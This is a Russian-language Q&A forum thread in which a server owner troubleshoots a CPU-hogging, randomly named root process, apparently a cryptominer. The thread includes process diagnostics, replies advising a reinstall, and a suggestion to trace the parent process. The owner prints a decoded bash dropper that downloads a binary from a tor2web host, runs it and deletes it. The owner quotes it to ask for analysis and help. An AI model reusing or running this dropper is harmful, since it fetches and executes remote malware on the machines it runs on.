2

Сервер linux Ubuntu 16.04, 4 ядра, 16 гб оперативной памяти. На сервере крутятся 3 сайта под django + несколько тяжелых заданий по крону.

Странный процесс с рандомным названием загружает процессор так, что другие службы/процессы/демоны не могут работать. Сайты, естесственно, перестают быть доступными для пользователей, вызывается ошибка 502. Load average зашкаливает.

Отключал задания в Cron вообще, перезагружал сервер, все равно этот странный процесс появляется и грузит сервер наглухо.

После перезагрузки сервера или после убийства процесса, сервер некоторое время (минут 15) работает нормально, потом процесс появляется вновь под другим рандомным названием.

странный процесс с рандомным названием

Попытки найти откуда возникает странный процесс ни к чему не привели.

root@ns3097294:~# ps -aux | grep 2217
root      2217  185  0.0  14120  8116 ?        Ssl  10:14  46:40 m1Nq1q
root     17860  0.0  0.0  19360   980 pts/3    S+   10:39   0:00 grep --color=auto 2217

root@ns3097294:~# ps -p 2217 -o ppid=:wq
  :wq
    1

1 - это пользователь root. Запускается под рутом.

root@ns3097294:~# /proc/2217/maps
-bash: /proc/2217/maps: Permission denied

root@ns3097294:~# ps aux | grep 'mlNqlq'
root     22498  0.0  0.0  19356   976 pts/3    S+   11:01   0:00 grep --color=auto mlNqlq

Вывод дерева: вывод дерева

root@ns3097294:~# cat /proc/2217/status
Name:   m1Nq1q
State:  S (sleeping)
Tgid:   2217
Ngid:   0
Pid:    2217
PPid:   1
TracerPid:      0
Uid:    0       0       0       0
Gid:    0       0       0       0
FDSize: 64
Groups: 0
VmPeak:    14120 kB
VmSize:    14120 kB
VmLck:         0 kB
VmPin:         0 kB
VmHWM:      8116 kB
VmRSS:      8116 kB
VmData:    13984 kB
VmStk:       132 kB
VmExe:       260 kB
VmLib:  18446744073709551360 kB
VmPTE:        48 kB
VmSwap:        0 kB
Threads:        7
SigQ:   0/63752
SigPnd: 0000000000000000
ShdPnd: 0000000000000000
SigBlk: 0000000000000000
SigIgn: 0000000000000000
SigCgt: 0000000000004003
CapInh: 0000000000000000
CapPrm: 0000001fffffffff
CapEff: 0000001fffffffff
CapBnd: 0000001fffffffff
Seccomp:        0
Cpus_allowed:   f
Cpus_allowed_list:      0-3
Mems_allowed:   00000000,00000001
Mems_allowed_list:      0
voluntary_ctxt_switches:        2
nonvoluntary_ctxt_switches:     79
PaX:    pemRs

Полагаю, что это вирус, но ClamAV ничего нашел, как и его аналоги...

root@ns3097294:~# ll /proc/2217/cwd
lrwxrwxrwx 1 root root 0 авг 19 11:08 /proc/2217/cwd -> //

root@ns3097294:~# ll /proc/2217/fd/
total 0
dr-x------ 2 root root  0 авг 19 10:15 ./
dr-xr-x--- 7 root root  0 авг 19 10:14 ../
lrwx------ 1 root root 64 авг 19 11:09 0 -> socket:[14397067]
l-wx------ 1 root root 64 авг 19 10:15 3 -> /tmp/.X11-lock

Прошу помощи найти и убить навсегда этот ужас у опытных жителей форума, т.к. переустанавливать сервер - это крайняя и очень нежелательная мера.

UPD Вывожу cat:

root@ns3097294:~# cat /proc/17764/maps
00400000-004ad000 r-xp 00000000 00:00 0
004ad000-006ac000 ---p 00000000 00:00 0
006ac000-006b1000 rwxp 00000000 00:00 0
006b1000-01293000 ---p 00000000 00:00 0
01293000-012a2000 rwxp 00000000 00:00 0                                  [heap]
7d17f9eaf000-7d17f9eb1000 ---p 00000000 00:00 0
7d17f9eb1000-7d17f9ed2000 rwxp 00000000 00:00 0                          [stack:2459]
7d17f9ed2000-7d17f9ed4000 ---p 00000000 00:00 0
7d17f9ed4000-7d17f9ef5000 rwxp 00000000 00:00 0                          [stack:2458]
7d17f9ef5000-7d17f9ef7000 ---p 00000000 00:00 0
7d17f9ef7000-7d17f9f18000 rwxp 00000000 00:00 0                          [stack:2457]
7d17f9f18000-7d17f9f1a000 ---p 00000000 00:00 0
7d17f9f1a000-7d17f9f3b000 rwxp 00000000 00:00 0                          [stack:2456]
7d17f9f3b000-7d17f9f3d000 ---p 00000000 00:00 0
7d17f9f3d000-7d17fa95f000 rwxp 00000000 00:00 0                          [stack:2455]
7d17fa95f000-7d17fa960000 r-xp 00000000 09:01 109136                     /root/ZsNyCa (deleted)
7d17fa96a000-7d17fa97a000 rwxp 00000000 00:00 0
7d17fa97a000-7d17fa97c000 ---p 00000000 00:00 0
7d17fa97c000-7d17fa9a1000 rwxp 00000000 00:00 0                          [stack:2454]
7d17fa9a1000-7d17fa9a2000 r-xp 00000000 00:00 0                          [vdso]
7e591aa7e000-7e591aa9f000 rwxp 00000000 00:00 0                          [stack]
ffffffffff600000-ffffffffff601000 r--p 00000000 00:00 0                  [vsyscall]

В папке /root/ появились подозрительные файлы:

подозрительные файлы в рут

UPD2 В корне сервера обнаружил файл *cmd с содержимым, зашифрованным base64.

введите сюда описание изображения

Расшифровал и получил вот это:

#!/bin/bash
exec &>/dev/null
export PATH=$PATH:/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin
x() {
x=/systemd-login-x
z=./$(cat /dev/urandom | tr -cd [:alnum:]|head -c 6)
wget -t1 -T180 -qU- --no-check-certificate $1$x -O$z || curl -m180 -fsSLkA- $1$x -o$z
chmod +x $z;$z;rm -f $z
}
cd /tmp
touch /usr/bin/asdf && cd /usr/bin/
touch /dev/shm/asdf && cd /dev/shm/
touch /var/tmp/asdf && cd /var/tmp/
rm -f /*/*/asdf
if ! ps -p $(cat /tmp/.X1M-unix); then
x rapid7cpfqnwxodo.tor2web.io
fi

Вижу, что это и есть причина моих бед, но у кого-то есть мысли что это вообще такое и что делает??? Файл я конечно удалил, но все равно процесс появляется и грузит систему...

5
  • 3
    Если вирус умудрился проникнуть в сервер и получить root, переустановка — это ЕДИНСТВЕННАЯ возможная мера. Никакими другими способами вы не сможете отнять доступ у достаточно умного вируса, получившего root.
    – andreymal
    Commented 19 авг. 2019 в 8:16
  • Впрочем, особо хитрые вирусы могут прошить себя в биос так, что даже переустановка не поможет. К счастью, большинство вирусов не настолько умные.
    – andreymal
    Commented 19 авг. 2019 в 8:18
  • 1
    Может rkhunter что-то подскажет? А так, самый просто и надежный способ сделать бекап и переустановить ОС не забыв о обновлениях.
    – Gordio
    Commented 19 авг. 2019 в 9:22
  • Кто-то Bitcoin майнит.
    – 0andriy
    Commented 19 авг. 2019 в 15:42
  • перед /proc/2217/maps забыл cat нпбрать, так что самое интересное не видно... ну или хотя бы куда указывает /proc/2217/exe...
    – Fat-Zer
    Commented 19 авг. 2019 в 20:04

1 ответ 1

1

Попробуйте такой вариант:

$ ps axo pid,ppid,comm

Зная pid подозрительных процессов Вы легко найдёте по ppid их первоисточник. А там (в первоисточнике) будет команда, которая запускает всю эту беду.

Ваш ответ

Нажимая «Отправить ответ», вы соглашаетесь с условиями пользования и подтверждаете, что прочитали политику конфиденциальности.

Всё ещё ищете ответ? Посмотрите другие вопросы с метками или задайте свой вопрос.